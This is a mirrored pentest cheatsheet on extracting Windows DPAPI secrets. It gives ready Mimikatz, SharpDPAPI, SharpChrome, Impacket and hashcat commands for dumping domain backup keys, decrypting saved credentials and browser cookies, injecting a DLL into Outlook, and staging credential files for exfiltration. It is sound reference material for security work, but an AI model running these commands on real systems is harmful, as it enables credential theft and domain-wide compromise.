repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
dpapi-extracting-passwords.mdMarkdown509 lines26.3 KiBsource raw download

title: "DPAPI - Extracting Passwords" section: "Windows" sectionSlug: "windows-hardening" sourcePath: "src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

DPAPI - Extracting Passwords#

What is DPAPI#

The Data Protection API (DPAPI) is primarily utilized within the Windows operating system for the symmetric encryption of asymmetric private keys, leveraging either user or system secrets as a significant source of entropy. This approach simplifies encryption for developers by enabling them to encrypt data using a key derived from the user's logon secrets or, for system encryption, the system's domain authentication secrets, thus obviating the need for developers to manage the protection of the encryption key themselves.

The most common way to use DPAPI is through the CryptProtectData and CryptUnprotectData functions, which allow applications to encrypt and decrypt data using the security context of the currently logged-on process. By default, the data can be decrypted only by the same user or system context that encrypted it.[2][3]

These functions also accept an optional entropy parameter used during encryption and decryption. Data protected with optional entropy requires that same entropy value for decryption.[2][6]

Users key generation#

DPAPI derives a user-specific value (often called a pre-key) from the user's credentials. The exact derivation depends on the account and operating-system version. For example, Impacket tries an HMAC-SHA1 path based on the SHA-1 digest of the UTF-16LE password, another based on the password's MD4/NT hash, and a PBKDF2-SHA256-derived path for Protected Users. This is why offline tooling can often derive the required material from either the plaintext password or an available NT hash.[2][10]

This is specially interesting because if an attacker can obtain the user's password hash, they can:

DPAPI maintains one or more master keys for each user rather than creating a new master key for every protected blob. Each master key has a GUID (Globally Unique Identifier), and an encrypted blob records which master key protects it.[2]

Master keys are stored in the %APPDATA%\Microsoft\Protect\<sid>\<guid> directory, where {SID} is the user's Security Identifier. The master-key file contains material protected by the user's pre-key and, for domain users, recovery material protected by a domain backup key.[2]

Note that the domain key used to encrypt the master key is in the domain controllers and never changes, so if an attacker has access to the domain controller, they can retrieve the domain backup key and decrypt the master keys of all users in the domain.[2]

The encrypted blobs contain the GUID of the master key that was used to encrypt the data inside its headers.

[!TIP] DPAPI encrypted blobs starts with 01 00 00 00

Find master keys:

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

This is what a bunch of Master Keys of a user will looks like:

What is DPAPI - Users key generation: This is what a bunch of Master Keys of a user will looks like

Machine/System key generation#

This is key used for the machine to encrypt data. It's based on the DPAPI_SYSTEM LSA secret, which is a special key that only the SYSTEM user can access. This key is used to encrypt data that needs to be accessible by the system itself, such as machine-level credentials or system-wide secrets.[2]

Note that these keys don't have a domain backup so they are only accesisble locally:

reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv
reg save HKLM\SECURITY C:\Windows\Temp\security.hiv

Then on your analysis box, recover the DPAPI_SYSTEM LSA secret from the hives and use it to decrypt machine-scope blobs (scheduled task passwords, service credentials, Wi‑Fi profiles, etc.):

mimikatz lsadump::secrets /system:C:\path\system.hiv /security:C:\path\security.hiv
# Look for the DPAPI_SYSTEM secret in the output

Veeam-specific DPAPI example:

Pentesting Veeam Backup And Replication

Protected Data by DPAPI#

Among the personal data protected by DPAPI are:

System protected data includes:

Master key extraction options#

# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export

# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
# Mimikatz
mimikatz sekurlsa::dpapi
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected

# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc

# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc

List Vault#

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

Access DPAPI Encrypted Data#

Find DPAPI Encrypted data#

Common users files protected are in:

Enumeration examples:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

SharpDPAPI can find DPAPI encrypted blobs in the file system, registry and B64 blobs:[12]

# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default

# Search blobs in folders
search /type:folder /path:C:\path\to\folder
search /type:folder /path:C:\Users\username\AppData\

# Search a blob inside a file
search /type:file /path:C:\path\to\file

# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]

Note that SharpChrome (from the same repo) can be used to decrypt using DPAPI sensitive data like cookies.[12]

Chromium/Edge/Electron quick recipes (SharpChrome)#

SharpChrome logins  /browser:edge  /unprotect
SharpChrome cookies /browser:chrome /format:csv /unprotect
# Dump the AES state key from Local State (DPAPI will be used if running as the user)
SharpChrome statekeys /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State" /unprotect
# Copy the hex state key value (e.g., "48F5...AB") and pass it to cookies
SharpChrome cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Cookies" /statekey:48F5...AB /format:json
SharpChrome cookies /server:HOST01 /browser:edge /pvk:BASE64
SharpChrome logins  /server:HOST01 /browser:chrome /pvk:key.pvk
# For SharpChrome use /prekey; for SharpDPAPI use /credkey
SharpChrome cookies /browser:edge /prekey:SHA1_HEX
SharpDPAPI.exe credentials /credkey:SHA1_HEX

Notes

Access keys and data#

# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect

# Decrypt machine data
SharpDPAPI.exe machinetriage 
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]

Decrypt a masterkey of a user requesting the domain backup key using RPC:

# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc

# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc

The SharpDPAPI tool also supports these arguments for masterkey decryption (note how it's possible to use /rpc to get the domains backup key, /password to use a plaintext password, or /pvk to specify a DPAPI domain private key file...):[12]

/target:FILE/folder     -   triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64...          -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk            -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X             -   decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X                 -   decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X              -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc                    -   decrypt the target user's masterkeys by asking domain controller to do so
/server:SERVER          -   triage a remote server, assuming admin access
/hashes                 -   output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>

The SharpDPAPI tool also supports these arguments for credentials|vaults|rdg|keepass|triage|blob|ps decryption (note how it's possible to use /rpc to get the domains backup key, /password to use a plaintext password, /pvk to specify a DPAPI domain private key file, /unprotect to use current users session...):[12]

Decryption:
/unprotect          -   force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
/pvk:BASE64...      -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk        -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X         -   decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X             -   decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X          -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc                -   decrypt the target user's masterkeys by asking domain controller to do so
GUID1:SHA1 ...      -   use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE        -   use a file of one or more GUID:SHA1 masterkeys for decryption

Targeting:
/target:FILE/folder -   triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
/server:SERVER      -   triage a remote server, assuming admin access
                        Note: must use with /pvk:KEY or /password:X
                        Note: not applicable to 'blob' or 'ps' commands

If you can dump LSASS, Mimikatz often exposes a per-logon DPAPI key that can be used to decrypt the user’s masterkeys without knowing the plaintext password. Pass this value directly to the tooling:

# SharpDPAPI accepts the "credkey" (domain or local SHA1)
SharpDPAPI.exe triage /credkey:SHA1_HEX

# SharpChrome accepts the same value as a "prekey"
SharpChrome logins /browser:edge /prekey:SHA1_HEX
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect

# SharpDPAPI
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect

Offline decryption with Impacket dpapi.py#

If you have the victim user’s SID and password (or NT hash), you can decrypt DPAPI masterkeys and Credential Manager blobs entirely offline using Impacket’s dpapi.py.[10][11]

# Base64-encode files for copy/paste exfil
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Credentials\C8D69E...B9"))
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Protect\<SID>\556a2412-1275-4ccf-b721-e6a0b4f90407"))
# Plaintext password
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
  -sid S-1-5-21-1111-2222-3333-1107 -password 'UserPassword!'

# Or with NT hash
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
  -sid S-1-5-21-1111-2222-3333-1107 -key 0x<NTLM_HEX>
python3 dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0x<MASTERKEY_HEX>
# Expect output like: Type=CRED_TYPE_DOMAIN_PASSWORD; Target=Domain:target=DOMAIN
# Username=<user> ; Password=<cleartext>

This workflow often recovers domain credentials saved by apps using the Windows Credential Manager, including administrative accounts (e.g., *_adm).


Handling Optional Entropy ("Third-party entropy")#

Some applications pass an additional entropy value to CryptProtectData. Without this value the blob cannot be decrypted, even if the correct masterkey is known. Obtaining the entropy is therefore essential when targeting credentials protected in this way (e.g. Microsoft Outlook, some VPN clients).

EntropyCapture (2022) is a user-mode DLL that hooks the DPAPI functions inside the target process and transparently records any optional entropy that is supplied. Running EntropyCapture in DLL-injection mode against processes like outlook.exe or vpnclient.exe will output a file mapping each entropy buffer to the calling process and blob. The captured entropy can later be supplied to SharpDPAPI (/entropy:) or Mimikatz (/entropy:<file>) in order to decrypt the data.[6]

# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll

# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>

Cracking masterkeys offline (Hashcat & DPAPISnoop)#

Microsoft introduced a context 3 masterkey format starting with Windows 10 v1607 (2016). hashcat v6.2.6 (December 2023) added hash-modes 22100 (DPAPI masterkey v1 context ), 22101 (context 1) and 22102 (context 3) allowing GPU-accelerated cracking of user passwords directly from the masterkey file. Attackers can therefore perform word-list or brute-force attacks without interacting with the target system.[7]

DPAPISnoop (2024) automates the process:

# Parse a whole Protect folder, generate hashcat format and crack
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4

The tool can also parse Credential and Vault blobs, decrypt them with cracked keys and export cleartext passwords.[8]

Access other machine data#

In SharpDPAPI and SharpChrome you can indicate the /server:HOST option to access a remote machine's data. Of course you need to be able to access that machine and in the following example it's supposed that the domain backup encryption key is known:

SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64

Other tools#

HEKATOMB#

HEKATOMB is a tool that automates the extraction of all users and computers from the LDAP directory and the extraction of domain controller backup key through RPC. The script will then resolve all computers IP address and perform a smbclient on all computers to retrieve all DPAPI blobs of all users and decrypt everything with domain backup key.

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

With extracted from LDAP computers list you can find every sub network even if you didn't know them !

DonPAPI 2.x (2024-05)#

DonPAPI can dump secrets protected by DPAPI automatically. The 2.x release introduced:[9]

DPAPISnoop#

DPAPISnoop is a C# parser for masterkey/credential/vault files that can output Hashcat/JtR formats and optionally invoke cracking automatically. It fully supports machine and user masterkey formats up to Windows 11 24H1.[8]

Common detections#


2023-2025 vulnerabilities & ecosystem changes#

Case Study: Zscaler Client Connector – Custom Entropy Derived From SID#

Zscaler Client Connector stores several configuration files under C:\ProgramData\Zscaler (e.g. config.dat, users.dat, *.ztc, *.mtt, *.mtc, *.mtp). Each file is encrypted with DPAPI (Machine scope) but the vendor supplies custom entropy that is calculated at runtime instead of being stored on disk.[1]

The entropy is rebuilt from two elements:

  1. A hard-coded secret embedded inside ZSACredentialProvider.dll.
  2. The SID of the Windows account the configuration belongs to.

The algorithm implemented by the DLL is equivalent to:

byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid    = Encoding.UTF8.GetBytes(CurrentUserSID);

// XOR the two buffers byte-by-byte
byte[] tmp = new byte[secret.Length];
for (int i = 0; i < secret.Length; i++)
    tmp[i] = (byte)(sid[i] ^ secret[i]);

// Split in half and XOR both halves together to create the final entropy buffer
byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
    entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);

Because the secret is embedded in a DLL that can be read from disk, any local attacker with SYSTEM rights can regenerate the entropy for any SID and decrypt the blobs offline:

byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));

Decryption yields the complete JSON configuration, including every device posture check and its expected value – information that is very valuable when attempting client-side bypasses.

TIP: the other encrypted artefacts (*.mtt, *.mtp, *.mtc, *.ztc) are protected with DPAPI without entropy (16 zero bytes). They can therefore be decrypted directly with ProtectedData.Unprotect once SYSTEM privileges are obtained.

References#